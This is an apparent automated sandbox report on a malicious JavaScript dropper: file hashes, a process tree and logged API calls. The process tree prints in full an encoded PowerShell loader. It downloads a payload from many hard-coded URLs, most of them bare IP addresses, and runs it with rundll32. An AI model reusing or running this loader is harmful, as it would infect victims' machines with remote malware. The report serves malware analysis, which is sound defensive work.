Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	May 24, 2023, 5 p.m.	May 24, 2023, 5:05 p.m.

Size	199.4KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`02c3d2dc98bc4feccd7f5c4a9d565685`
SHA256	`a8a16bac73ef38395bac41260b495992992c218648f81d4f3fa0c466936c6176`
CRC32	`4ED106CA`
ssdeep	`3072:XtRty55iLy5GEevKrv0dHmmrYtf9YLhSXZsu:9655im51Rrv04iNssu`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Bilification.js
2660
- wscript.exe "C:\Windows\System32\wscript.exe" "C:\ProgramData\dummered.js" impresas santalic
  2868
  - powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABlAGsAcgBvAG4AaQB0AGUATgBvAG4AcgBlAHQAaQByAGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAxAEEARwA0AEEAYwBBAEIAcwBBAEcAawBBAFoAdwBCAG8AQQBIAFEAQQBaAFEAQgBrAEEARQBVAEEAYwBRAEIAMQBBAEcAawBBAGMAdwBCAGwAQQBIAFEAQQBZAFEAQgBqAEEARwBVAEEAWQBRAEIAbABBAEMANABBAFkAZwBCAGwAQQBBAD0APQByAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBnAEEAegBBAEMANABBAE0AUQBBADMAQQBEAEkAQQBMAGcAQQA0AEEARABJAEEATABnAEEANQBBAEQAVQBBAHIAegBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBNAGcAQQA1AEEAQwA0AEEATwBRAEEAegBBAEMANABBAE0AZwBBAHcAQQBEAGMAQQBMAGcAQQB4AEEARABFAEEATgBnAEEAPQByAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYgB3AEIAMgBBAEcAawBBAFoAUQBCADAAQQBHAGsAQQBZAHcAQQB1AEEARwBJAEEAYwBnAEIAMQBBAEgATQBBAGMAdwBCAGwAQQBHAHcAQQBjAHcAQQA9ACIAOwAkAEIAZQB0AHUAbABhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBGAEEARwA0AEEAYQBBAEIANQBBAEcAUQBBAGMAZwBCAHYAQQBIAFUAQQBjAHcAQQB1AEEARwBNAEEAWQBRAEIAbQBBAEcAVQBBAFcARABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEgASQBBAGIAdwBCAHAAQQBIAE0AQQBZAFEAQgBrAEEAQwA0AEEAZQBRAEIAdgBBAEcAYwBBAFkAUQBBAD0AVwBEAEMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAWgBRAEIAdgBBAEcASQBBAGIAdwBCADAAQQBHAEUAQQBiAGcAQgBwAEEARwBNAEEAWQBRAEIAcwBBAEYAQQBBAFkAUQBCAHMAQQBHAEUAQQBaAFEAQgB6AEEASABRAEEAYwBnAEIAcABBAEcARQBBAGIAZwBBAHUAQQBIAE0AQQBkAEEAQgAxAEEARwBRAEEAYQBRAEIAdgBBAEEAPQA9ACIAOwAkAGkAbQBtAGEAbgB0AGwAaQBuAGcAUwBjAHIAaQBiAGEAYgBsAGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBNAEEAQQB1AEEARABJAEEATQBnAEEAeQBBAEMANABBAE4AUQBBADIAQQBDADQAQQBOAGcAQQAzAEEAQQA9AD0AdABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAGkAQQBHAEUAQQBkAEEAQgB0AEEARwBFAEEAYgBnAEEAdQBBAEcAVQBBAFoAQQBCADEAQQBHAE0AQQBZAFEAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEEAPQA9AHQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBVAEEAYwBRAEIAMQBBAEcARQBBAGQAQQBCAHYAQQBIAEkAQQBkAHcAQgBoAEEASABJAEEAWgBBAEIAVABBAEgAawBBAGMAZwBCAHQAQQBHAEUAQQBaAFEAQgBoAEEAQwA0AEEAYwB3AEIAMQBBAEgAQQBBAGMAQQBCAHMAQQBHAGsAQQBaAFEAQgB6AEEAQQA9AD0AdABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBOAEEAQQAyAEEAQwA0AEEATgBRAEEAegBBAEMANABBAE0AZwBBADAAQQBEAE0AQQBMAGcAQQB5AEEARABNAEEATQBRAEEAPQAiADsAJABTAGUAbQBpAHMAZQBjAHIAZQBjAHkAUwBsAGkAcABmAG8AcgBtAGkAbgBnACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBRAEEANABBAEMANABBAE0AUQBBAHkAQQBEAFEAQQBMAGcAQQAwAEEARABNAEEATABnAEEAeABBAEQASQBBAE4AUQBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABjAEEAYgB3AEIAaABBAEcAUQBBAGQAdwBCAGgAQQBIAGcAQQBaAFEAQgB6AEEARQBNAEEAYQBBAEIAaABBAEcANABBAGMAdwBCAHYAQQBHADQAQQBjAHcAQQB1AEEARwBjAEEAYQBRAEIAbQBBAEgAUQBBAGMAdwBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgBnAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAGcAQQB4AEEARABnAEEATABnAEEAeABBAEQAUQBBAE4AdwBBAD0AYgBaAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBFAEEAYgBRAEIAaABBAEgASQBBAFoAdwBCAHYAQQBIAE0AQQBZAFEAQgBSAEEASABVAEEAYQBRAEIAaQBBAEgAVQBBAGMAdwBBAHUAQQBHAE0AQQBiAGcAQQA9ACIAOwAkAGYAcgBpAGcAaAB0AGYAdQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQBRAEEAdQBBAEQARQBBAE8AQQBBAHoAQQBDADQAQQBNAFEAQQB4AEEARABrAEEATABnAEEAMQBBAEQATQBBAEwAdwBCAHMAQQBHAGcAQQBSAFEAQQB2AEEARABjAEEAVQBRAEEAMgBBAEgAawBBAFMAdwBBAD0AawBXAHUAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADUAQQBEAEEAQQBMAGcAQQB5AEEARABRAEEATgBnAEEAdQBBAEQAZwBBAE4AZwBBAHUAQQBEAEUAQQBOAEEAQQA0AEEAQwA4AEEAYgB3AEEAdgBBAEQATQBBAGsAVwB1AHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATwBRAEEAeQBBAEMAOABBAFMAZwBCAFUAQQBHAGsAQQBMAHcAQgBDAEEARwBZAEEAYwB3AEEANABBAEcAYwBBAE0AQQBCADIAQQBFADAAQQBlAGcAQgBSAEEASABrAEEAawBXAHUAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAFEAQQB1AEEARABJAEEATQB3AEEAMgBBAEMANABBAE0AUQBBADAAQQBDADQAQQBNAFEAQQAzAEEARABrAEEATAB3AEIARQBBAEcAVQBBAGEAdwBCAFAAQQBGAEEAQQBaAHcAQQB2AEEARABjAEEAZQBRAEIAQgBBAEYAUQBBAFYAZwBBAD0AawBXAHUAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAGcAQQA0AEEAQwA4AEEATwBRAEIARABBAEcAMABBAE8AUQBCAEYAQQBGAGMAQQBMAHcAQQA1AEEARQA0AEEAYgBRAEIATwBBAEgAbwBBAFIAUQBBAD0AIgA7AGYAbwByAGUAYQBjAGgAIAAoACQAVABhAHcAZABlAHIAZQBkAFAAcgBvAHIAcwBhAGQAIABpAG4AIAAkAGYAcgBpAGcAaAB0AGYAdQBsACAALQBzAHAAbABpAHQAIAAiAGsAVwB1AHgAIgApACAAewAkAFIAZQBjAGUAcAB0AG8AcgBzAEEAbgBvAG0AcABoAGEAbABvAHUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AQQBBAHcAQQBDADQAQQBNAFEAQQB5AEEARABFAEEATABnAEEAeQBBAEQAUQBBAE0AUQBBAHUAQQBEAEUAQQBOAGcAQQAyAEEAQQA9AD0AUwBlAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdQBBAEcAVQBBAGQAUQBCAHkAQQBHADgAQQBhAFEAQgBrAEEAQwA0AEEAYwBBAEIAaABBAEgASQBBAGQAQQBCADUAQQBBAD0APQBTAGUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBJAEEAWgBRAEIAMgBBAEcARQBBAFkAdwBCAGoAQQBHAGsAQQBiAGcAQgBoAEEASABRAEEAWgBRAEIATgBBAEcAawBBAGMAdwBCAHIAQQBHAGsAQQBiAGcAQQB1AEEARwBNAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQA9AFMAZQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAFEAQQBkAFEAQgB0AEEARwBJAEEAYgBBAEIAbABBAEcASQBBAGQAUQBCAG4AQQBFAE0AQQBkAFEAQgB6AEEASABBAEEAWQBRAEIAMABBAEcAVQBBAEwAZwBCAHMAQQBHAGsAQQBiAFEAQgBwAEEASABRAEEAWgBRAEIAawBBAEEAPQA9ACIAOwB0AHIAeQAgAHsAJAB2AGkAbwBsAG8AbgBjAGUAbABsAGkAcwB0AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBZAFEAQgA1AEEARwB3AEEAYgB3AEIAbQBBAEgAUQBBAGMAdwBBAHUAQQBHADQAQQBaAFEAQgAzAEEASABNAEEAIgA7ACQAYQBsAGwAbwB0AGUAbABsAHUAcgBpAGMAUwBhAGwAaQBhAG4AIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVABhAHcAZABlAHIAZQBkAFAAcgBvAHIAcwBhAGQAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABhAGwAbABvAHQAZQBsAGwAdQByAGkAYwBTAGEAbABpAGEAbgAgAC0ATwAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABXAGEAeQBsAGEAbgBkAC4AZwBsAG8AcwBzAG0AZQB0AGUAcgA7ACQAVAByAGkAYwBrAHMAaQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB2AEEARwBRAEEAYgB3AEIAdQBBAEgAUQBBAGIAdwBCAHkAQQBIAFEAQQBhAEEAQgB2AEEASABNAEEAYQBRAEIAegBBAEUASQBBAGMAZwBCAGgAQQBHAFEAQQBlAFEAQgBzAEEARwBFAEEAYgBBAEIAcABBAEcARQBBAEwAZwBCAG8AQQBIAFEAQQBRAGgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQAawBBAE0AQQBBAHUAQQBEAEkAQQBOAFEAQQB3AEEAQwA0AEEATQBRAEEAMwBBAEQARQBBACIAOwAkAEMAaQBjAG8AcgBlAGUAQwBoAG8AbgBkAHIAaQBvAHMAcABoAGUAcgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABFAEEATQB3AEEAdQBBAEQASQBBAE0AQQBBADIAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATABnAEEANABBAEQAQQBBACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFcAYQB5AGwAYQBuAGQALgBnAGwAbwBzAHMAbQBlAHQAZQByACkALgBMAGUAbgBnAHQAaAAgAC0AZwBlACAAMgA3ADYANQA5ADUAKQB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAQQBBAGMAZwBCAHYAQQBHAGMAQQBjAGcAQgBoAEEARwAwAEEAUgBBAEIAaABBAEgAUQBBAFkAUQBCAGMAQQBGAGMAQQBZAFEAQgA1AEEARwB3AEEAWQBRAEIAdQBBAEcAUQBBAEwAZwBCAG4AQQBHAHcAQQBiAHcAQgB6AEEASABNAEEAYgBRAEIAbABBAEgAUQBBAFoAUQBCAHkAQQBDAHcAQQBkAGcAQgBwAEEASABBAEEAYwB3AEEANwBBAEUAMABBAFMAUQBCAFUAQQBFAHcAQQBhAFEAQgBqAEEARwBVAEEAYgBnAEIAegBBAEcAVQBBACIAOwAkAHUAbgBkAGkAcwBnAG8AcgBnAGUAZAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAeQBBAEcAVQBBAFkAdwBCAHYAQQBHADQAQQBjAHcAQgAxAEEARwB3AEEAZABBAEIAUABBAEgAVQBBAGQAQQBCAHoAQQBIAFEAQQBkAFEAQgBrAEEASABrAEEATABnAEIAbwBBAEcANABBAHYAUgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQB4AEEAQwA0AEEATwBRAEEANQBBAEMANABBAE0AUQBBADUAQQBEAFEAQQBMAGcAQQB4AEEARABnAEEATgBRAEEAPQAiADsAJABjAHIAYQBuAGkAbwBsAG8AZwBpAHMAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE4AQQBBAHUAQQBEAEkAQQBNAHcAQQAxAEEAQwA0AEEATQBRAEEAMABBAEQAQQBBAEwAZwBBADUAQQBEAGsAQQBSAFQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBRAEEAYQBRAEIAbQBBAEcAWQBBAFoAUQBCAHkAQQBHAFUAQQBiAGcAQgAwAEEARwBrAEEAWQBRAEIAaQBBAEcAawBBAGIAQQBCAHAAQQBIAFEAQQBlAFEAQQB1AEEASABRAEEAYgB3AEEAPQBSAFQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWgBRAEIAawBBAEgAYwBBAFkAUQBCAHkAQQBHAFUAQQBjAHcAQgBWAEEASABJAEEAYgB3AEIAdABBAEcARQBBAGIAZwBCADAAQQBHAGsAQQBZAFEAQQB1AEEASABNAEEAZABRAEIAdwBBAEgAQQBBAGIAQQBCADUAQQBBAD0APQBSAFQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAWQBRAEIAcwBBAEcAdwBBAFoAUQBCADAAQQBDADQAQQBhAFEAQgB1AEEASABRAEEAWgBRAEIAeQBBAEcANABBAFkAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEARwBFAEEAYgBBAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewAkAEIAcgBlAHYAaQByAG8AcwB0AHIAaQBuAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEgAawBBAFkAUQBCADAAQQBHAGcAQQBhAFEAQQB1AEEASABNAEEAYQBBAEIAdgBBAEgAQQBBAHEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABRAEEATQB3AEEAdQBBAEQAWQBBAE0AQQBBAHUAQQBEAFEAQQBOAEEAQQB1AEEARABFAEEATgBBAEEANABBAEEAPQA9ACIAOwAkAE8AdQB0AGYAaQBnAGgAdABpAG4AZwBDAGEAcgByAHkAYwBvAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBiAHcAQgB6AEEASABRAEEAYgBBAEIAbABBAEgATQBBAGMAdwBBAHUAQQBHADAAQQBhAFEAQgBoAEEARwAwAEEAYQBRAEEAPQBKAHQAbgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE4AdwBBAHUAQQBEAEUAQQBOAEEAQQB6AEEAQwA0AEEATQBnAEEAMQBBAEQATQBBAEwAZwBBADMAQQBEAEUAQQBKAHQAbgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQAVQBBAEwAZwBBAHkAQQBEAEUAQQBPAFEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE4AdwBBAHoAQQBBAD0APQBKAHQAbgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AQQBBAHUAQQBEAEUAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEANABBAEQAYwBBAEwAZwBBAHkAQQBEAEkAQQBOAFEAQQA9ACIAOwAkAEYAbABhAHYAZQBkAG8AQQBsAGMAbwBoAG8AbABvAG0AZQB0AHIAaQBjAGEAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AZwBBAHoAQQBDADQAQQBPAEEAQQB5AEEAQwA0AEEATgB3AEEAMgBBAEMANABBAE0AUQBBAHgAQQBEAEkAQQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMABBAEcAZwBBAGMAZwBCAGwAQQBHAEUAQQBkAGcAQgBsAEEAQwA0AEEAWgBRAEIANABBAEgAQQBBAGIAdwBCAHoAQQBHAFUAQQBaAEEAQQA9AGQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBRAEEAZABRAEIAegBBAEgATQBBAFoAUQBCAHkAQQBIAE0AQQBRAHcAQgBvAEEARwBrAEEAWQBRAEIAeQBBAEcAOABBAGMAdwBCAGoAQQBIAFUAQQBjAGcAQgBwAEEASABNAEEAZABBAEEAdQBBAEgAUQBBAGIAdwBCAHcAQQBBAD0APQAiADsAfQB9ACQAUgB1AGMAawB1AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGsAQQBiAFEAQgB0AEEARwBFAEEAZABBAEIAbABBAEgASQBBAGEAUQBCAGgAQQBHAHcAQQBiAEEAQgA1AEEAQwA0AEEAYQBnAEIAdwBBAEEAPQA9AHEAbgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAE0AQQBHAFUAQQBkAGcAQgBoAEEARwA0AEEAZABBAEIAbABBAEgASQBBAFkAUQBBAHUAQQBHADQAQQBjAGcAQgAzAEEAQQA9AD0AIgA7ACQAZQBuAGMAYQB1AHMAdABlAHMAVABlAGwAbwBkAGUAbgBkAHIAbwBuACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABrAEEATgBBAEEAdQBBAEQASQBBAE0AUQBBADEAQQBDADQAQQBNAFEAQQAyAEEARABNAEEATABnAEEAeABBAEQAZwBBAE4AdwBBAD0AaABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAEEAQQB1AEEARABJAEEATgBBAEEANABBAEMANABBAE0AUQBBAHkAQQBEAFkAQQBMAGcAQQB4AEEARABFAEEATQBRAEEAPQBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AdwBBAHoAQQBDADQAQQBNAFEAQQAzAEEARABFAEEATABnAEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQQA9AD0AIgA7AA=="
    2984

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
117.18.232.200	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 24, 2023, 5:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 24, 2023, 5:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 24, 2023, 5:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 24, 2023, 5:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 24, 2023, 5:03 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 24, 2023, 5:03 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 24, 2023, 5:03 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (42 events)

Time & API	Arguments	Status	Return
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c9058 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c9158 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c9158 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c9158 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c9158 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c9158 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c9158 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8c18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8c18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8c18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c94d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c95d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey May 24, 2023, 5:03 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x005c8d58 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
